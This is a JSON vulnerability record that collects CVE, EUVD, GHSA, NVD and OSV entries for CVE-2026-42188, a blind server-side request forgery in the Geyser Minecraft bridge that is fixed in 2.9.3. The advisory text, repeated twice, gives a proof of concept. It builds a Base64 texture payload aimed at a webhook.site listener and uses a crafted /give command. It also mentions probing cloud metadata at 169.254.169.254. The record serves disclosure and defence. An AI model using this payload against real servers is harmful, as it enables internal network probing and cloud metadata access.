{"id":"CVE-2026-42188","aliases":["EUVD-2026-29327","GHSA-xcfg-fcr5-gw9r"],"status":"published","title":"Geyser: Server-Side Request Forgery (SSRF) via Player Head Texture URL","description":"Geyser is a bridge between Minecraft: Bedrock Edition and Minecraft: Java Edition. Prior to 2.9.3, a server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client. This vulnerability is fixed in 2.9.3.","severity":{"version":"3.1","score":2.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00195,"percentile":0.09352,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-05T20:03:16Z","modified":"2026-10-26T18:10:00Z","fixes":[{"ecosystem":"Maven","package":"org.geysermc.geyser:core","fixed_in":["2.9.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.geysermc.geyser:core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.9.2"},{"fixed":"2.9.3"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.geysermc.geyser:core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.3"}]}]}],"products":[{"vendor":"geysermc","product":"geyser"}],"references":[{"url":"https://github.com/GeyserMC/Geyser/security/advisories/GHSA-xcfg-fcr5-gw9r","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42188","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xcfg-fcr5-gw9r"},{"url":"https://github.com/GeyserMC/Geyser","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42188","title":"Geyser: Server-Side Request Forgery (SSRF) via Player Head Texture URL","description":"Geyser is a bridge between Minecraft: Bedrock Edition and Minecraft: Java Edition. Prior to 2.9.3, a server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client. This vulnerability is fixed in 2.9.3.","status":"published","published":"2026-05-11T21:25:27.303Z","modified":"2026-05-13T14:39:09.024Z","cvss":[{"version":"3.1","score":2.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-29327","description":"Geyser is a bridge between Minecraft: Bedrock Edition and Minecraft: Java Edition. Prior to 2.9.3, a server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client. This vulnerability is fixed in 2.9.3.","status":"published","published":"2026-05-11T21:25:27Z","modified":"2026-05-13T14:39:09Z","cvss":[{"version":"3.1","score":2.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T19:04:33.75998Z"}],"ghsa":[{"id":"GHSA-xcfg-fcr5-gw9r","title":"Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser","description":"### Summary\nA server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data.\nBy supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints.\nThis occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.\n\n### Details\nGeyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.\n\nWhen a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution.\nHowever, the URL contained in the textures.SKIN.url field is not sufficiently validated.\n### PoC\n\n1. **Setup Environment:**\n   - Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.\n   - Ensure you have a Bedrock client connected.\n\n2. **Prepare Listener:**\n   - Go to [webhook.site](https://webhook.site) and obtain a unique URL (e.g., `https://webhook.site/YOUR-UUID`).\n\n3. **Construct Payload:**\n   - Create a JSON payload pointing to your listener URL:\n     `{\"textures\":{\"SKIN\":{\"url\":\"https://webhook.site/YOUR-UUID\"}}}`\n   - Encode this JSON string to Base64.\n     *(You can use a terminal command: `echo -n '{\"textures\":{\"SKIN\":{\"url\":\"...\"}}}' | base64`)*\n\n4. **Execute Command:**\n   - Run the following command in the Bedrock Edition client:\n   `/give @p minecraft:player_head[minecraft:profile={properties:[{name:\"textures\",value:\"[PASTE_BASE64_HERE]\"}]}]`\n\n5. **Verify:**\n   - Check the webhook.site dashboard.\n   - You will see an **HTTP GET request originating from the Minecraft Server's IP address**, not the client's IP.\n\n### Impact\nThis vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.\n\n#### Affected Parties\n- Minecraft servers running Geyser\n- Server operators exposing internal or cloud metadata endpoints\n\n#### Potential Impacts\n- Internal network probing (e.g., intranet services, admin panels)\n- Cloud metadata access attempts (e.g., 169.254.169.254)\n- IP address disclosure of the Minecraft server\n- Abuse of the server as an HTTP request proxy\n\nAlthough the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:\n- Network mapping\n- Firewall bypass attempts\n- Cloud environment fingerprinting","status":"published","published":"2026-05-05T20:03:16Z","modified":"2026-05-13T14:20:00Z","cvss":[{"version":"3.1","score":2.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:08.003212Z"}],"nvd":[{"id":"CVE-2026-42188","description":"Geyser is a bridge between Minecraft: Bedrock Edition and Minecraft: Java Edition. Prior to 2.9.3, a server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client. This vulnerability is fixed in 2.9.3.","status":"published","published":"2026-05-11T22:22:11.277Z","modified":"2026-10-26T18:10:00.173Z","cvss":[{"version":"3.1","score":2.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N","level":"low","assessor":"secondary"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:18.239974Z"}],"osv":[{"id":"GHSA-xcfg-fcr5-gw9r","title":"Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser","description":"### Summary\nA server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data.\nBy supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints.\nThis occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.\n\n### Details\nGeyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.\n\nWhen a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution.\nHowever, the URL contained in the textures.SKIN.url field is not sufficiently validated.\n### PoC\n\n1. **Setup Environment:**\n   - Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.\n   - Ensure you have a Bedrock client connected.\n\n2. **Prepare Listener:**\n   - Go to [webhook.site](https://webhook.site) and obtain a unique URL (e.g., `https://webhook.site/YOUR-UUID`).\n\n3. **Construct Payload:**\n   - Create a JSON payload pointing to your listener URL:\n     `{\"textures\":{\"SKIN\":{\"url\":\"https://webhook.site/YOUR-UUID\"}}}`\n   - Encode this JSON string to Base64.\n     *(You can use a terminal command: `echo -n '{\"textures\":{\"SKIN\":{\"url\":\"...\"}}}' | base64`)*\n\n4. **Execute Command:**\n   - Run the following command in the Bedrock Edition client:\n   `/give @p minecraft:player_head[minecraft:profile={properties:[{name:\"textures\",value:\"[PASTE_BASE64_HERE]\"}]}]`\n\n5. **Verify:**\n   - Check the webhook.site dashboard.\n   - You will see an **HTTP GET request originating from the Minecraft Server's IP address**, not the client's IP.\n\n### Impact\nThis vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.\n\n#### Affected Parties\n- Minecraft servers running Geyser\n- Server operators exposing internal or cloud metadata endpoints\n\n#### Potential Impacts\n- Internal network probing (e.g., intranet services, admin panels)\n- Cloud metadata access attempts (e.g., 169.254.169.254)\n- IP address disclosure of the Minecraft server\n- Abuse of the server as an HTTP request proxy\n\nAlthough the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:\n- Network mapping\n- Firewall bypass attempts\n- Cloud environment fingerprinting","status":"published","published":"2026-05-05T20:03:16Z","modified":"2026-05-13T14:33:38.616935Z","cvss":[{"version":"3.1","score":2.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:59.835583Z"}]}}
